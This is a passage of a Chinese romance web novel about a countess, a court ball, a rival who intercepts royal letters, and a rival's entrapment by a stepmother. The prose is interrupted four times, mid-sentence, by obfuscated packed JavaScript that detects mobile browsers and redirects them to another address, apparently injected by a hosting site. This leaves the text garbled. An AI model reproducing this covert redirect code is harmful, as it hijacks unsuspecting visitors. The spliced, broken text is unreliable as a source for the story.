维尔图斯有些担心：“或许我应该陪你一起去。”青年黑色的眼睛里不安的神色很浓。 辛蒂吻了一下维尔图斯的嘴角：“舞会太过于吵闹，这样的场合会让你心烦。” “不必担心，我会在十二点之前回家。” 已经成为了伯爵夫人，辛蒂不再对自己的容貌做出掩饰，不过她也不想刻意妆点，只是得体就好。 礼服的选择让辛蒂犯了难，维尔图斯热衷于让裁缝上门给辛蒂做新裙子，虽然辛蒂几乎不出门，王国流行的服饰风格全在她的衣柜里应有尽有。 因为乔瓦娜的事先提醒，辛蒂之前还以为里德府已经是个空壳子了。维尔图斯总是给辛蒂购买珠宝和衣裙的行为引起了辛蒂的担忧，维尔图斯让她不要担心。 又一次辛蒂委婉提出她的新裙子已经够她天天穿不重样了，让维尔图斯节省些，他于是带着辛蒂清点了里德府的财富，除去为捷琳娜预备的嫁妆，里德府的财产足够辛蒂和维尔图斯挥霍一辈子。 面对辛蒂的疑问，维尔图斯狡黠一笑：“也算是病秧子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760620|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生存策略。” 辛蒂明白维尔图斯的意思，他和捷琳娜在父母去世的时候都很年幼，大批的财富恐怕会引来豺狼，睿智的老管家向外界宣告上一任里德伯爵在死前已经把财产挥霍一空，这才没有引来觊觎。 维尔图斯说得轻松，辛蒂却能感受到其中的不容易，她笑容勉强：“那也不能这样大手大脚，得为我们未来的孩子着想。” 维尔图斯的眼神一亮又一黯，他抱住辛蒂：“亲爱的，请不要有太大的心理压力，你已经是天主赐予我的礼物，我又怎么敢奢求太多呢。” 言归正传，考虑到宫廷舞会的正式，辛蒂最后挑了一条简约而不失庄重的暗绿色礼服。为了不显得太过于出挑，辛蒂已经尽量挑选了保守的款式，绿色的礼服还是显得辛蒂白得发光，完全不显得老气。 镜中的美人让辛蒂有些忐忑，她想着要么还是稍微掩饰一下肤色，这样在人群中不会显得那么扎眼。 维尔图斯阻止了辛蒂：“辛蒂，你现在已经是伯爵夫人了，你的美丽无罪，大方些，让人们都能欣赏到你的风采。” 维尔图斯知道辛蒂以前遭遇过的事，辛蒂嘴上不提，内心还是十分介意。他希望辛蒂能摆脱那些阴影，过得肆意些。他不知道自己还能活多久，但是在他活着的时候，他想尽量给辛蒂一切自由。 辛蒂最后还是依着维尔图斯的意思，就这样出了门。 这是辛蒂第一次作为伯爵夫人出席皇室的舞会，为了让她自在些，维尔图斯特意请求了乔瓦娜以及捷琳娜和辛蒂相伴。 辛蒂先让马车到了公爵府等待她们，乔瓦娜的两个哥哥这是第一次见到成为伯爵夫人后的辛蒂。 辛蒂的美丽让他们失神，一路上对辛蒂大献殷勤，他们当然知道辛蒂已婚的身份，丈夫还是他们的堂弟。那又怎么样，贵族的私生活都十分混乱，没有情妇或者情夫的贵族还会遭人耻笑。 这位伯爵夫人还是商人的女儿出身，而且她那个丈夫恐怕无法满足她，想必十分容易到手。 让他们失望的是，辛蒂对于他们的言语暗示恍若未闻，甚至离他们更远了些，竟然一点回应都没有。 捷琳娜暗暗提醒辛蒂：“记住你的承诺，不要做让维尔图斯伤心的事。” 辛蒂点头，她对于这样的滥交并无兴趣，甚至觉得反感，否则当初也不会不愿意嫁给王子。 圣诞舞会和之前辛蒂参加过的舞会的流程并无太大的区别，只是亚基亚德国王的致辞更丰富些，有着对过去的总结和对未来的展望，这种东西还真是中外都一样。 值得一提的是，王子也在辛蒂和维尔图斯婚后不久结婚了。 亨利·亚基亚德的结婚对象是邻国的公主，一位之前他相亲过程中的沧海遗珠。 亨利王子在之前的舞会上并未挑选到合适的妻子人选，遂又在别的国家寻觅了一番，就有了和这位公主的相识。 原来这位公主原本属意阿卡索王子，可惜阿卡索王国无意与这位公主的国家联姻，且后来阿卡索王子决定和亚基亚德王国的乔瓦娜结婚，这位公主只好放弃，再觅良缘。 18. 信件 辛蒂从周围的夫人嘴里听到了这些八卦之后，顿觉阴差阳错，要是当时她没有帮助乔瓦娜，想必阿卡索王子就会和这位公主结婚。 这次的舞会上，亨利王子携着新婚妻子出席，二人柔情蜜意，不知道让多少贵族小姐心碎。 这位王子妃确实十分美丽，亚基亚德王国的小姐们的长相偏明艳，王子妃小鼻子小脸，五官精致，是一种完全不同的风情，看得出王子十分爱她。 舞会开始后，辛蒂就和乔瓦娜及捷琳娜分开了，未婚小姐有未婚小姐的圈子，夫人们有夫人们的圈子，泾渭分明。这就是维尔图斯没想到的地方了，他几乎没参加过宴会，自然不知道还有这种潜规则。 有些迷茫的辛蒂误入了一个夫人们的圈子，亨利王子的八卦就是她们的谈论中带出来的。 碰巧的是，这几位夫人就是辛蒂之前遇到的议论国王的那几位。她们已经完全不记得辛蒂了，对于这位貌美非常的伯爵夫人十分警惕，用挑剔的眼光上上下下打量了她好几圈。 在有一位公爵对辛蒂邀舞的时候，其中一位朗夫人色变，辛蒂猜测这位公爵或许是她的情夫，要是丈夫的话她的反应应该会更偏戏谑些。 辛蒂以身体不适为由拒绝了他的邀舞，朗夫人的脸色又好看起来，她隐晦地瞪了一眼那位公爵，主动跟辛蒂搭话道：“里德夫人，他的能力一般，不够强健有力，你拒绝他是正确的。” 辛蒂懵了，她不是无知少女，朗夫人的意思她是明白的。可是她没有记错的话，刚刚那位阁下只是邀请她跳舞，而不是去一个空无一人的房间吧？ 另一位夫人掩嘴一笑，这位里德夫人还很青涩呢，她语气调侃：“朗夫人，你倒是十分了解这位先生的能力，最近是否有什么强健有力的体验呢？” 朗夫人显然和这位夫人十分熟悉，不甚优雅地翻了一个白眼：“男人还是年轻些好，可是那些年轻的先生们显然有更好的选择呢。”说着她意有所指地看向了辛蒂。 辛蒂不知道应该做出怎么样的表情才算合适，她只好紧紧闭上了嘴巴。 辛蒂几乎落荒而逃，这些夫人们太生猛了，而且不太友好。这样的圈子她融不进去，还是去找找乔瓦娜和捷琳娜吧。 不过考虑到捷琳娜正在物色合适的丈夫，她在旁边多少掩盖了捷琳娜的光芒，还是找了个小角落自斟自饮，自娱自乐。 辛蒂又打发了几位绅士，自从朗夫人那么说了以后，她总觉得每个靠近她的男人都不怀好意。 宴会厅里实在沉闷，辛蒂却不敢出去透气。她不熟悉皇宫，害怕再次遇到之前那样的情况。 忽然，亨利王子出现在了辛蒂的面前，身姿挺拔的王子阻止了辛蒂想要行礼的动作。 或许知道辛蒂不愿意跳舞，他并没发出邀请，只是坐在了辛蒂的旁边，温柔的棕色眼睛凝视着辛蒂：“美丽的夫人，你独自一人在这里饮酒，也太寂寞了。” 或许有很多小姐迷恋着王子，幻想着成为王子的一夜情人。辛蒂完全没有这样的想法，她对王子毫无感觉，尤其是现在她的生活十分安稳，只想离王子远远的。 辛蒂垂下眼睑，恭敬而疏离：“王子殿下，我只是有些许不适，在人多的地方会觉得胸闷。” 亨利王子又坐近了辛蒂些，似乎是想对辛蒂表达自己的担忧，没想到辛蒂猛地后退，王子的表情一下子僵住了。 辛蒂觉得十分尴尬，这完全是条件反射，谁让他突然靠近的。 亨利王子还想说些什么，忽然站起身来，他看见了远处他的妻子，正在左顾右盼地寻觅着什么。 他的眼中闪过一丝烦躁，朝着辛蒂优雅行了一礼：“美丽的夫人，希望下次能有机会请你跳舞。” 语罢匆匆离开，他的妻子看见他，绽放出了一个热恋中女子才有的甜美的笑容。 辛蒂松了口气，她看得分明，王子的温柔表象下是满满的兴致盎然，那是一种发现了新猎物的兴奋。 她摇摇头，江山难改，本性难移，希望那位公主的幸福能持续得久些。 她感到庆幸，幸好她没有嫁给亨利王子，那位邻国公主的美丽并不比她逊色，仍改变不了王子的贪花好色，新婚不久王子就在寻觅新的猎物。 顾忌着公主背后的王国，亨利王子暂且还不敢做得太过分，要是换成辛蒂是他的王子妃，他肯定更加肆意妄为。 亨利王子离开后，另一个辛蒂意想不到的人又出现在了辛蒂的面前，罗莎·洛佩斯。 罗莎·洛佩斯脸上再没有了之前一切尽在掌握的神秘微笑，她的神色憔悴，精致的妆容遮不住眼底的青黑。 “杜波伊斯，你跟乔瓦娜说了什么？她不可能无缘无故不让我做她的女伴。” 之前辛蒂来找乔瓦娜之后，她还忐忑过一阵，有些后悔自己之前跟辛蒂说那么多。 不过她的行事没有留下任何痕迹，那个女侍已经离开了王城，她确信没有第三个人知道这件事。且乔瓦娜后续没有表露出异常，于是她渐渐放下心来。 没想到前不久乔瓦娜以她身边不需要那么多女伴为由让她离开，罗莎如遭雷击。 这份女伴工作带给她的可不仅仅只是体面，还有每月一百金币的补贴和乔瓦娜同等待遇的每个季度的服装，而且乔瓦娜十分体贴，考虑到她的家庭经济情况，还会时不时送她一些首饰。 由于洛佩斯府几乎没有任何财产，罗莎几乎只能依靠这份女伴工作维持自己的体面。 罗莎尝试过应聘其他尊贵小姐的女伴，无一例外都被拒绝了，一次两次还好，次数多了罗莎意识到这是公爵府或者说乔瓦娜有意为之。 她不敢去质问乔瓦娜，看到辛蒂独自一人坐在这里，她的怒火有了出口。 罗莎的质问让辛蒂觉得好笑，她露出一个轻蔑的笑容，慢悠悠地喝了一口杯中的淡金色酒液：“洛佩斯小姐，我想你应该称呼我为里德夫人。” 罗莎扯了扯嘴角：“里德夫人？你不应该感激我吗，哈，一个病秧子丈夫，有什么好得意的？哦我忘了，低贱的商女能有现在已经是天主保佑的结果了。” 辛蒂的笑容消失了，她不喜欢“病秧子丈夫”这个称呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760621|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你做了什么自己心里清楚，我指的不是对我做的那些事。” “既狂妄又自卑，既自卑又自恋。罗莎，我承认你的确很聪明，但不是所有人都会被你玩弄于股掌之中。” 罗莎·洛佩斯的脸色变得苍白，她知道辛蒂的意思，只是她始终不敢相信原来乔瓦娜真的发现了这一切，她还做着成为阿卡索王妃的美梦。 乔瓦娜是个很聪明的小姐，或许是因为公爵府太过于干净——亚基亚德大公从不把情妇带回公爵府，乔瓦娜对于人性的认知并不深刻。 因为从小一起长大，她对女伴们并不设防。她从未见过类似的事，所以怎么也想象不到自己当作亲妹妹一样对待的罗莎会想要抢夺她的未婚夫。 对于辛蒂的提醒，乔瓦娜半信半疑，她认为辛蒂和罗莎没有任何利益冲突，尤其是在辛蒂不再是她的女伴后，因此乔瓦娜认为辛蒂没有立场污蔑罗莎。 出于警惕，乔瓦娜让女仆关注着罗莎的一举一动，不久后，女仆告诉乔瓦娜，罗莎拦截了阿卡索王子给乔瓦娜的信件，装作自己是乔瓦娜给阿卡索王子回信。 乔瓦娜的信件都是由罗莎整理的，罗莎的小动作谁都没有发现。 乔瓦娜和阿卡索每周都会通信，最近阿卡索给她的信件确实变少了，乔瓦娜没有产生怀疑，只以为阿卡索比较忙碌，现在看来是罗莎拦截了一部分的缘故。 乔瓦娜原本感到困惑，这样做能给罗莎带去什么好处？从阿卡索的回信来看，罗莎并没有在信里说什么不恰当的话。 女仆带给乔瓦娜的最新一封罗莎写给阿卡索王子的回信，让乔瓦娜找到了答案。 这封信详述了一直都是乔瓦娜的女伴罗莎·洛佩斯、侯爵府的女儿在给阿卡索王子写回信。原因是乔瓦娜·亚基亚德并不爱阿卡索王子，只是联姻的义务让她不得不伪装自己真实的情感。 罗莎·洛佩斯自述在往来的信件中，她因为帮助乔瓦娜矫饰回信感到深深的良心不安，不忍心王子真诚的感情错付，同时她深深爱上了阿卡索王子，希望王子能认清乔瓦娜的真正面目，不要再受到蒙蔽。 她全程只说自己是多么心疼阿卡索王子所遇非人，并未索取任何回馈，甚至还写道希望阿卡索王子能找到与他真心相爱的伴侣。一位为了心上人不惜得罪公爵府的深情的小姐的形象跃然纸上，乔瓦娜甚至还在信纸上看到了干掉的泪痕。 乔瓦娜不禁冷笑，阿卡索王子是一个很重感情的人，要是她是阿卡索王子，想必深受感动，恨不得立刻和假惺惺的公爵小姐解除婚约，求娶罗莎·洛佩斯这个真心人。 洛佩斯府虽然落魄，往前几代也是皇室，从身份上讲足够和阿卡索王国联姻，要是阿卡索铁了心，罗莎的谋划未必不能成功。 更可怕的是，乔瓦娜并不能因为这封信对乔瓦娜怎么样，只要罗莎·洛佩斯一口咬定她确实一直都在替乔瓦娜回信，乔瓦娜拿不出有力的证据进行反驳，反而会让亚基亚德大公和国王怀疑乔瓦娜是否真的并不尊重阿卡索王子的感情，甚至不尊重两个王国之间的联姻。 19. 计谋 想到这里，乔瓦娜有几分心惊肉跳，不仅仅是恐惧这个可能的后果，还因为罗莎·洛佩斯的心机之深。可她就像瞎了眼一般，从来没有发觉。 多亏了辛蒂的提醒，乔瓦娜暗自庆幸，否则很可能她还在高高兴兴准备婚礼，结果发现新娘要换人了。 乔瓦娜知道自己不好大张旗鼓，心里恨极了，面上还是显得十分平静。在发现信件的事后，乔瓦娜拜托了亚基亚德大公给了她几个专业的人士，把罗莎·洛佩斯仔仔细细，彻彻底底地查了一遍。 最后查出了那个给辛蒂引路的皇宫女侍，乔瓦娜这才知道原来辛蒂真的是被陷害的，除此以外，乔瓦娜并没有查出别的罗莎想对她或者公爵府不利的证据。 罗莎·洛佩斯实在是谨慎，要不是她还不敢杀人灭口，或者说没有手段可以干净地杀人灭口，估计这个女侍也不会被留下。 所有事都查清楚后，乔瓦娜特意请辛蒂到了公爵府一趟，感谢她的提醒，顺便把这些事告诉了辛蒂。 辛蒂嘲讽的表情让罗莎·洛佩斯的脸色愈发苍白，她确定了，她们肯定都知道了。 那封信后她再也没有见过阿卡索王子的回信，她原本还幻想着阿卡索王子是不是在想办法更改婚约，现在看来那封信根本没有送出去。 她的王妃梦碎了。 罗莎·洛佩斯失魂落魄了一阵，忽然想起来什么，眼底不加掩饰地浮现出恶意：“杜波伊斯，亨利王子似乎很喜欢你。要是王子知道你之前故意遮掩自己的容貌以逃避他，他会不会感到伤心呢？” 她不需要辛蒂的回答，带着笑容离开了，她找到新的筹码了，亨利王子。 真是个疯子，辛蒂因为她的话感到无语。她不觉得自己的魅力大到那个程度，她确信王子没过多久就会把她忘记。 舞会实在没有意思，还总是遇到倒胃口的人，辛蒂于是跟乔瓦娜打了个招呼，先行离开了。 辛蒂到家后，维尔图斯很惊讶，时间还早，才十点多，辛蒂怎么已经回来了？ “亲爱的，是遇到什么意外了吗？” 辛蒂摇摇头，轻轻抱住维尔图斯，她不愿意告诉维尔图斯王子的事让她担心，只说自己遇到了罗莎，罗莎的出现让辛蒂觉得舞会索然无味，于是借故不适回来了，这并不算十分失礼。 辛蒂又用夸张的口吻讲述了她新认识的朗夫人，这些贵妇人的豪放让辛蒂觉得目瞪口呆。其实最开始邀请辛蒂跳舞的公爵未必就是那个意思，辛蒂也没见跳了一支舞就怎么样的，大家的舞伴都换得很勤。 维尔图斯被辛蒂的描述逗乐了，他安慰辛蒂：“如朗夫人之类的是少数，大多数夫人表面上还是十分端庄的。” “表面上？”辛蒂抓住了重点。 维尔图斯一脸的理所当然：“据我所知，戈尔曼姑母在戈尔曼姑父还没有去世的时候，就有一个情人，现在我知道的就有三个。” 辛蒂一时间不知道如何评价，维尔图斯忽然很郑重：“亲爱的，要是你寻找情人，能不能等到我死后再找？我想你应该不用等待太久。” 刚刚还很活泼的气氛一下变得沉冷，辛蒂不知道为什么维尔图斯每次都能像谈论晚餐一样谈论他的死亡，她每次听到这样的话都会想哭。 辛蒂忍住眼泪，她盯着维尔图斯的黑色眼睛：“我永远都不会有情人，我保证。” 维尔图斯环住辛蒂的腰：“辛蒂，请别这么说。等我死后，你务必要再找一个爱你的绅士，虽然他可能没有我这样爱你，永远不会有人像我这样爱你。” 平静的日子又过了几天，里德府迎来一位新的客人，埃莉诺·杜卡斯。 之前埃莉诺请求她的朋友莉莉娅，帮助辛蒂成为了乔瓦娜的女伴，还有她在化妆品宣传上的帮助，让辛蒂欠了她很大的人情，辛蒂一直都不知道应该如何回报。 正好乔瓦娜身边的女伴本来就极尽精简，现在少了一个罗莎，几乎有些捉襟见肘。原本乔瓦娜希望辛蒂能在她结婚前继续回到公爵府继续做她的女伴，但是辛蒂更想陪伴维尔图斯。 于是辛蒂向乔瓦娜推荐了埃莉诺，她告诉乔瓦娜，埃莉诺是一位心明眼亮，十分真诚的小姐。 经过了罗莎的事，乔瓦娜对于女伴的人选变得十分警惕，宁缺毋滥。考虑到辛蒂和莉莉娅都向她推荐埃莉诺，她抱着试试看的想法，结果没几天就喜欢上了这个洋娃娃一般的可爱小姐。 埃莉诺·杜卡斯这次来里德府，主要是替乔瓦娜传话，还有就是感谢辛蒂还想着她。 “亲爱的埃莉诺，你不怪我就好。对于你的帮助我一直都十分感激，可是这一年多发生了太多事，我一直都没有找到机会向你道谢。” 察觉到辛蒂的对她的称呼还是跟以前一样，并没有因为成为了伯爵夫人就变得趾高气扬，埃莉诺·杜卡斯也轻轻松了口气，多了些见到旧朋友的欣喜。 “亲爱的辛蒂，我知道你的身不由己呢。好在现在也算是得到了自由，还没有祝贺你。” 埃莉诺还给辛蒂带来了许多新消息，不乏贵族间的一些趣闻轶事。 “辛蒂，你还记得塞拉菲娜吗？她嫁给了布莱克男爵！”布莱克男爵就是之前辛蒂遇到的那个有些小爱好的男爵。 之前在礼仪课的时候，埃莉诺认识了塞拉菲娜，和辛蒂一起吐槽塞拉菲娜的时光十分愉快。 辛蒂惊呼出声：“怎么会？塞拉菲娜那么精明······我以为她会至少嫁给一位公爵呢！”后一句当然是嘲讽，塞拉菲娜几乎没有嫁妆，愿意娶她的贵族少之又少。 但是塞拉菲娜本人眼高于顶，听说她原本有一个还算不错的订婚对象，塞拉菲娜嫌弃对方只是一个子爵的继承人，主动解除了婚约。 在这样的情况下，塞拉菲娜竟然嫁给了还不如她前未婚夫的爵位高的布莱克男爵，要知道布莱克男爵几乎都可以成为她的父亲了！ 辛蒂直觉这件事和莫罗夫人脱不了干系，说不定就是莫罗夫人一手设计的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760622|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 辛蒂的猜测几乎完全正确。 眼看着辛蒂成为伯爵夫人已经成为定局，莫罗夫人也没法再变出一个继女来嫁给布莱克男爵。 莫罗夫人告诉布莱克男爵实情，试图用里德府的爵位来让他自觉放弃这一桩婚约。 布莱克男爵没那么好拿捏，面对莫罗夫人半是威胁半是无奈的话，他嗤笑一声： “莫罗夫人，我们签订的契约上明明白白地写着杜波伊斯府需要嫁给我一个女儿，就算是国王陛下亲临，这个女儿你非嫁不可。” “漂亮的那个没了，不是还有两个吗？哪个都行，蜡烛灭了都一样。” “要是你小气的一个都不愿意给，我的手段多的是，相信你不会愿意体验一下。” 布莱克男爵的粗俗和无赖让莫罗夫人又恨又怕，她不敢不理会他的威胁，可是两个女儿都是备受宠爱长大的，她也不舍得她们送命。 莫罗夫人想到了塞拉菲娜，塞拉菲娜没有强大的背景，受到委屈也不会有人替她撑腰，这倒是一个不错的选择。 布莱克男爵必然会满意她的身份和容貌，现在的问题是如何让塞拉菲娜“心甘情愿”地嫁给布莱克男爵。 某次塞拉菲娜再次来到杜波伊斯府做客的时候，就听到西尔维亚说莫罗夫人为她谋划了一桩婚事，对象是一位侯爵夫人的小儿子，虽然不是继承人，未来也能有伯爵的爵位。 塞拉菲娜原本不以为然，可是西尔维亚的描述听起来实在是让她向往。一位高大英俊、家世很好、对妻子的嫁妆没有要求的绅士，这不就是为她量身定制的吗？ 可是这么好的绅士竟然要便宜了西尔维亚这样的蠢货！塞拉菲娜不动声色，暗暗打听清楚了西尔维亚即将和这位绅士的见面时间和地点，带着笑容离开了杜波伊斯府。 她完全没有怀疑这事的真假，在她看来西尔维亚不会撒谎，对她一直都很诚实，把自己未来的未婚夫的信息告诉她也很符合西尔维亚的愚蠢。 西尔维亚确实没有欺骗塞拉菲娜，因为莫罗夫人就是这么告诉她的。莫罗夫人拿不准西尔维亚能不能扮演好自己的角色，索性不告诉她这其实是一个陷阱。 很快到了塞拉菲娜得知的见面的日子，地点是一家剧院的包厢中。这是很常见的相亲地点，塞拉菲娜并没有产生怀疑。 塞拉菲娜没有信心靠自身的魅力迷倒那位伯爵的小儿子，她有一个更加稳妥的主意。 一点点药物，再加上一个独处的时机，这桩婚约就是她的了。 一切都顺利得不可思议，塞拉菲娜亲眼看见那位绅士走进剧院，最后的一丝怀疑从她的心里消失。 等待片刻后，塞拉菲娜抑制着激动的心情走到那个包厢的门口，轻轻敲门，用这辈子最为温柔甜美的嗓音请求进入包厢。 在她预演着自己的台词的时候，包厢门开了，一只手近乎粗鲁地把她拽了进去，塞拉菲娜短促的尖叫声被厚厚的包厢门隔断，并未引起任何人的注意。 20. 散步 莫罗夫人此时正带着西尔维亚在一个隐蔽的角落中，目睹了这一切。 西尔维亚脸色苍白，莫罗夫人告诉她塞拉菲娜意图抢夺她的未婚夫时，她并不相信，眼前的一幕却让她如坠冰窖。 莫罗夫人有些恨铁不成钢：“蠢货！你竟然一直都没有看出她的真面目，就连阿米莉娅都知道她不怀好意。” 西尔维亚呆呆转头：“阿米莉娅也知道？原来只有我是傻子。” 西尔维亚受到了很大的打击，不过她还记得莫罗夫人告诉她的婚约，她傻傻开口：“妈妈，我们不用进去阻止她吗？” 莫罗夫人翻了个白眼，她直到今天才真正意识到自己这个女儿的愚蠢。 莫罗夫人露出一个得意的笑容：“阻止她做什么？里面又不是什么好人。西尔维亚，你就好好看着吧，欺负我们母女的人都不会有好下场！” 西尔维亚完全听不懂莫罗夫人的意思，她努力转动着自己不算纤细的神经。 莫罗夫人这个态度，恐怕婚约是假的，是莫罗夫人故意让塞拉菲娜从她嘴里知道，这样塞拉菲娜才不会怀疑。 假的？那她这几天的高兴算什么，难怪阿米莉娅都没有嘲讽她，只是用一种怜悯的眼神看着她，她如今全明白了。 那包厢里的男人是谁？塞拉菲娜会怎么样？这些问题西尔维亚没有问出来，她直觉她不会喜欢那些答案的。 西尔维亚跟随莫罗夫人在剧院门口耐心等待了很久，终于看到了塞拉菲娜。 她的脸色本来就很苍白，现在就像个死人，一点血色都没有了。神情也不像以往的骄傲，而是绝望，死灰一样的绝望。 塞拉菲娜踉踉跄跄地走远了，西尔维亚确信塞拉菲娜看到了她们，但是塞拉菲娜一点反应都没有，只有一个轻飘飘的眼神，带着无尽的怨毒。 西尔维亚本能地瑟缩了一下，心脏的某一处有些隐痛。随即她挺直了腰背，要是塞拉菲娜没有觊觎之心，这一切都不会发生，她罪有应得。 埃莉诺讲完这一系列事件后已经是口干舌燥，一口喝完了杯中的红茶。 辛蒂好笑：“你怎么知道得这么清楚？我都快怀疑你是不是趴在莫罗夫人的床底下偷听了。” 辛蒂的话让埃莉诺几乎喷出刚喝到嘴里的茶水，好不容易顺下去，她瞪了辛蒂一眼： “当然是西尔维亚自己说的，不过她没那么傻说出是莫罗夫人陷害的塞拉菲娜，只是到处宣扬塞拉菲娜罪有应得。” “之后我又根据各种蛛丝马迹，整理出了这个版本，大部分都是真的，只有一点小小的艺术加工。” 辛蒂十分佩服埃莉诺的口才以及情报梳理能力，她认为埃莉诺要是写作，想必会有不少小姐捧场。 辛蒂又谈论西尔维亚：“她确实能做出这样的事，看来塞拉菲娜的事没有让她得到任何教训。” 辛蒂有一点点同情塞拉菲娜，她当然不无辜，就像西尔维亚说的那样，要是她不觊觎别人的东西，还用上了不光彩的手段，也不至于落到这个下场。 不过她的错也不至于让她赔上自己的一辈子，这个代价有些过于惨重了。 姜还是老的辣，莫罗夫人的恶毒再次刷新了辛蒂的认知，她早晚会遭报应的。 闲聊得差不多了，埃莉诺忽然感叹：“亲爱的辛蒂，我发现你比之前活泼了许多。”之前的杜波伊斯好像在自己外面套了一层厚厚的外壳，对周围的环境十分警惕，很少有真心的笑容。 辛蒂回想了一下，好像确实是这样。里德府让她觉得放松，这里不会有继姐的嘲讽，也不用担心继母陷害，她完全可以专注于自己的事，很难不卸下心防。 这段时间几乎是辛蒂来到这个世界后最快乐的时光，而这一切都要归功于她的丈夫，她突然就很想见到维尔图斯。 “谢谢你，维尔图斯。”正在画画的维尔图斯于是得到了妻子的拥抱，还有一句突兀的道谢。 虽然不知道辛蒂为什么突然说这样的话，维尔图斯轻抚着辛蒂的脸：“应该是我谢谢你才对，谢谢你来到我的生活之中。” 维尔图斯的画中，正是两个人在书房中相视一笑的场景。他已经想好了这幅画应该挂在哪里，等他死后这幅画也要随他一起进入坟墓。 不过这话就先不跟辛蒂说了，免得又叫她伤心。 宫廷舞会后没几天，亚基亚德公爵府举办了一场家族晚宴，圣诞节这段时间，各种各样的舞会和宴会总是格外的多。 因为亚基亚德大公不喜欢里德府，维尔图斯和辛蒂干脆直接没去，免得碍了别人的眼。 不过埃莉诺后来告诉她，亨利王子参加了这场宴会，他还询问了乔瓦娜为什么辛蒂没来。 辛蒂觉得头皮发麻，亨利王子不太像是一时兴起，要是他真的不管不顾缠上她，她应该怎么脱身呢？ 早知道冒着被说不尊重皇室的风险，她也不去那个舞会。 寒冷的冬天终于过去，绿油油的春天来了。 玛沐河两岸的柳树被春风温柔地吹拂，河面波光粼粼，正是外出游玩的好时机。 辛蒂和维尔图斯一起到玛沐河边散步，在这个冬天的精心养护下维尔图斯的身体好了些，可以离开轮椅稍稍走几步了。 之前辛蒂还以为他的双腿有什么疾病不能行走，其实只是他体弱，不能久站，维尔图斯的病因并不在腿上。 河边的人很多，似乎大半个都城的人都出来享受难得的阳光，辛蒂看见了不少熟面孔。 比如莫罗夫人和她的两个继姐，不过双方都无意打招呼，错开了对视的目光。莫罗夫人不愿行礼，辛蒂也不想让她们破坏自己的好心情。 不过可以稍稍作弄莫罗夫人一下。 辛蒂掩在宽大裙摆后的右手轻轻一动，缓步前行的莫罗夫人忽然膝盖一疼，一个趔趄，险些没脸着地摔在地上。 看到莫罗夫人的失态，辛蒂眼中闪过一抹得逞的窃喜，这个空气弹魔法的成功率越来越高了，她刚刚尝试到第三次就成功了。 这个冬天，对于辛蒂来说最大的收获就是学会了几个小小的魔法，都是像空气弹这样威力都不算大的，只能让人出个糗。不知道勤加练习后能不能一下把人弹飞。 而且辛蒂在对于希腊文有了更多的认识以后，她发现那本书的名字应该叫做《神秘学起源》而非《魔法起源》。 这两个词具有相同的词根是辛蒂搞混的原因，它们的区别是神秘学偏向理论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760623|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，而魔法偏向实践。 维尔图斯察觉到了妻子的开心：“辛蒂，你似乎很喜欢外出，过段时间我们可以去里德府在康特赛德的庄园，你一定会喜欢的。” 辛蒂不好说自己是因为成功施展了魔法，不过庄园应该也很有意思，于是用力点头。 维尔图斯微笑，他的妻子还是个贪玩的小女孩呢，听到外出游玩就这么开心。 玛沐河边实在是热闹极了，到处都是穿着漂亮裙子的小姐，还有许多骑马的绅士。 在一棵巨大的香樟树下，一位流浪诗人正在吟诵着优美的诗句，听起来似乎是在赞颂某位小姐的美貌： “她的窈窕体态如同月季的花枝/她的得体言谈如同清朗的夜风” “是天上满月的月儿/是夜空最亮的星儿/无人能比拟她的美丽。” 流浪诗人的歌声十分美妙，所有游人都听得出神。人群中忽而有人大声问道：“请告诉我们，这样的美人是谁。” 流浪诗人微微一笑，竟然真的回答了这个问题：“她就是里德府的伯爵夫人呢。” 辛蒂听到自己的名字被吓了一跳，急忙拉着维尔图斯走出人群。自从她参加了宫廷舞会，有好事者到处宣扬她的美貌，她的内心毫无欣喜，只觉得有人在算计她。 维尔图斯也觉得不妥，流浪诗人们为了填饱肚子，常常会有偿地为某位小姐宣扬美貌，获得名气的小姐更容易找到心仪的绅士结婚。 